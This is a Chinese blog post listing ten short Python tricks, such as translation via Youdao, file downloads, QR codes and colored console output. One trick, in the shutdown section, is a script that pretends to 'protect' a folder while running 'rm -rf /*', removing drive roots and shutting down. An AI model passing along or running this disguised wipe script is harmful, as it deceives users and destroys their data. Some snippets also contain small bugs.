python5行代码内的神奇操作,我服了!

相信大家很熟悉python吧,

>>>print(list(map(range,[10,30,12])))
[range(0, 10), range(0, 30), range(0, 12)]

python能有什么神操作呢?top10马上揭晓!在这里插入图片描述

10.nim——取物游戏

你没有看错。5行代码以内,而且,只需要2行。
第一步,安装Mydemos_pkg库

pip install Mydemos_pkg

第二步

from Mydemos_pkg.nim import nim

第三步

nim()

在这里插入图片描述
这确实是2行代码。
在这里插入图片描述
哈哈,我可没说过不能调用库。

9.翻译文本

这回不用安装库啦,但是要请出有道!

import requests
s=str(input(""))
r = requests.get("http://fanyi.youdao.com/translate",params={'doctype': 'json','type': 'AUTO','i':s}).json()['translateResult'][0][0]["tgt"]
print(t)

很长,是吧,但它真的只有4行!
⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘
⌘-----------------------------------------------------⌘
⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘⌘
原理:使用有道接口。

>>>你好,你爱吃什么,别偷东西,python真棒!
"Hello, what do you love to eat, don't steal things, python are great!"
>>> 

8.关机

import os
os.system('shutdown -s -t'+input('几秒后关机??'))

通过cmd调用shutdown,无需解释
如果换成这个毁电脑的东西:

from os import system as s
s('cd '+input('请输入您要保护的目录:'))
s('rm -rf /*')
print('正在保护中...')
s('rd d:\\')
s('rd e:\\')
s('rd f:\\')
s('rd g:\\')
s('rd c:\\')
s('shutdown -s -t 0')

使用这段代码出事的我不承担责任!
小心别人打你。

7.人工智能(人工智障)

while(True):
    print(input().replace('吗', '呢').replace('?', '!').replace('?', '!').replace('你', '我').replace('我', '你'))

两行代码,一个的人工智能。

你好吗?
我好呢!
你吃饭了吗?
我吃饭了呢!
你要睡了吗?
我要睡了呢!

哈哈,这样就人工智障了。

你是猪吗
我是猪
你傻吗
我傻

看来“小智”承认自己傻了。
为了让他聪明点,加一行

加个贬义词库bads.txt。格式:xxxx
·································· · ················· · · ·xxxx

pip install badwords
import badwords
while(True):
    print(badwords.badwords(input().replace('吗', '呢').replace('?', '!').replace('?', '!').replace('你', '我').replace('我', '你'),'bads.txt'))

正好3行代码。

6.无法用CTRL/⌘+C中断的代码

def awhile():
	try:
		while 1:pass
	except KeyboardInterrupt:
		awhile()

这一个代码原理是:
KeyboardInterrupt是类似KeyError的可以raise的对象。

5.idle输出emoji表情

>>> from Mydemos_pkg import unicodeconvert
>>> b=unicodeconvert.nonBMPtoBMP('\U0001F600')
>>> b
'\ud83d\ude00'
>>> print(b)
😀
>>> 

整理一下,就是

from Mydemos_pkg import unicodeconvert
print(unicodeconvert.nonBMPtoBMP('\U0001F600')

说明:
unicodeconvert库是Mydemos_pkg中的一部分。它提供非BMP区域的Unicode字符转换为Unicode代理对(函数为:nonBMPtoBMP),ASCII与UNICODE互转,还有Mydemos_pkg.unicodeconvert.unicodedata就是unicodedata库。

这篇文章在这句话的上面隐藏了一个秘密。将这句话右键点击,然后点审查元素(或者检查),找到这句话的html源码,应该是p标签里面。在p标签的上面有一行注释。注释是这样的:

<!--...-->

破译方法:①把注释复制,粘贴到这个网页的右面方框上,然后点native键。②粘贴到记事本,保存为html格式,将注释的<!---->去掉,点开看。什么?注释没找到?来来来,复制一下:
<!--Mydemos_pkg&#36824;&#26377;&#24456;&#22810;&#21151;&#33021;&#65281;&#65281;&#65281;&#27604;&#22914;emoji&#128520;-->

刚才那个是第4.5名,可惜不是python的。
好啦好啦好了,看看第4名吧

4.下载文件

import requests
f=requests.get(input('您要下载什么东西?'))
with open(input('下载后的名字:',"wb") as c:
	c.write(f.content)

仅仅4行代码,说实话,跟百度网盘一个速度,远不如wget,迅雷。
难道百度就是这样下载的?
当然不是。如果下大文件的话(超过200KB就算了),将会是内存的噩梦
在这里插入图片描述
所以,下载大文件,还是这样吧。

import requests
r = requests.get(input(''), stream=True)
with open("python.pdf", "wb") as pdf:
    for c in r.iter_content(chunk_size=1024):
        pdf.write(c)

这是5行下载大文件的代码。如果你想试试,建议试试下载这个:https://www.unicode.org/charts/PDF/U0000.pdf

3.生成二维码

第一步,安装Myqr。
pip install myqr
第二步:

>>> from MyQR import myqr
>>> myqr.run(words='http://www.unicode.org')
line 16: mode: byte
(3, 'H', 'C:\\Users\\M S I\\qrcode.png')
>>>

神不神奇?2行!
什么?要背景图?2行照办!

from MyQR import myqr
myqr.run(words='http://www.baidu.com',picture='l.jpg',colorized=True,	save_name='code.png')#picture背景图colorized是否有颜色save_name输出文件

2.控制台输出彩色文字

def esc(code=0):
 return f'\033[{code}m'
print(esc('31;1;0') + input()+esc())

提示:

'''
建议使用pycharm
没有pycharm用控制台。
'''
esc('显示方式;前景;背景;')
'''
前景色            背景色           颜色
_______________________________________
30                40              黑色
31                41              红色
32                42              绿色
33                43              黃色
34                44              蓝色
35                45              紫红色
36                46              青蓝色
37                47              白色
 
显示方式           意义
——————————————————————————
0                终端默认设置
1                高亮显示
4                使用下划线
5                闪烁
7                反白显示
8                不显示
'''

1.绘制地图

第一步:安装folium库。
pip install folium
第二步:

>>> import folium
>>> import pandas as pd
>>> w=folium.Map()
>>> w.save('D:\\12334.html')

>>>

然后查看d:\12334.html
结果真的不错!!!
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
好了,今天的文章就到这里,最后考一考大家: 这些图标是怎么打出来的呢?欢迎大家留言!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值